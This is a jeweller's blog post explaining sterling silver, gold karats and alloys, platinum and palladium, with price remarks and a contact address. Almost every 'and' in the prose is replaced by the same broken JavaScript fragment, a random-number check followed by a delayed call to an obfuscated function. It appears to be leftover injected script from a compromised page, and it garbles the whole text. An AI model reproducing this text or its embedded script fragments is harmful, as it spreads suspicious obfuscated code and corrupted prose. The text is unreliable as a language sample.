The Mettle of Metal

What the difference is, between the types of metals used in jewellery, is a question I am often asked by clients. If this is something you have also wondered, here is some information for you.

Silver is considered a semi-precious metal andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} is the whitest of all the metals. Generally, the silver you see in jewellery is made with sterling silver, a mixture of 92.5% fine silver andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 7.5% copper, also known as 925. This is because fine or pure silver is too soft to be used in jewellery andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} it is only once you add copper that it becomes more durable. Silver does tarnish over time andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} can be polished to remove the darker shade this leaves.

Accent pendants    Black Accent ring with matching Accent earrings

Sterling silver pendants             Sterling silver rings andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} earrings

Made of Mettle                             Made of Mettle

**Economically, the value of silver has steadily increased for nearly a century, although with today’s gold market prices, silver is increasing in popularity.

Pure gold (fine gold) is softer than pure silver andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} while its luster is unmatched by any alloyed gold, it is also too soft to be used in jewellery on its own. It is combined with other metals to increase the toughness andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} hardness of the metal, making it perfect for crafting into interesting designs without putting too much stress on the metal

The percentage of yellow gold in jewellery varies andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} is referred to in karats with pure gold referred to as 24K gold. Most gold jewellery in South Africa is manufactured either from 18K gold which is 75% gold andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 25% metal alloys or 9K gold which is 37.5% gold andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 62.5% metal alloys. 14K gold is also used in Europe andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} is made up of 58.3% gold andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 41.7% metal alloys. The difference between a gold karat andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a diamond carat is that a karat is the amount of gold in a particular item whereas a carat is a unit of weight.

Gold is available in different tones, such as rose or red gold, yellow gold andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} white gold; the exact hue depends in the type of metal alloys used andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the percentage of each of them. Usually, white gold is coated with a very thin layer of rhodium to give it greater depth of color andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} shine as the natural color of white gold is a more creamy white colour.

Bespoke box fitted ring Custom designed ring with pave set diamonds AngloGold competition

18K Rose & yellow gold ring      18K White gold ring              18ct yellow gold bangle

 Made of Mettle                           Made of Mettle                     Tracey Jane Lotter

**The price of gold has varied greatly. During the past decade, the price has greatly increased, making gold one of the most sought-after precious metals for investment purposes.

Platinum is one of the rarest precious metals. It is white in appearance andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} looks similar to silver. It is very strong andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} durable andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} is resistant to corrosion andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} oxidization. It is much heavier than gold or silver.  Platinum does not yellow or tarnish andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} maintains it’s white appearance with little maintenance, it does develop a slight hazy look which can easily be polished away. Due to the unusual characteristics of this metal, a platinum smith must have a different set of tools than a goldsmith.

Palladium is a soft silver-white metal that resembles platinum andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} is becoming a lot more popular in jewellery as it’s price falls somewhere between 9K andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 18K gold. It has similar characteristics to platinum as far as durability andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} rarity goes, however, it is much lighter in weight. Palladium is also the metal alloy of choice to mix with pure gold to create the finest white gold. Like platinum, it will develop a hazy patina over time.

Palladium ring    Platinum ring

Palladium ring                                          Platinum ring

Brown andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Newirth                                JPB Jewellery

**The value of platinum also differs depending upon the current state of the economy. If the economy is good, the price of platinum can be very high; however, if the economy is struggling, it can significantly decrease in value. The price of palladium increases andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} decreases greatly, though there is no economic pattern that affects its value like there is with silver andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} gold.

If you have any more queries regarding this subject, please contact me at tracey@madeofmettle.co.za

 

 

 

 

 

 

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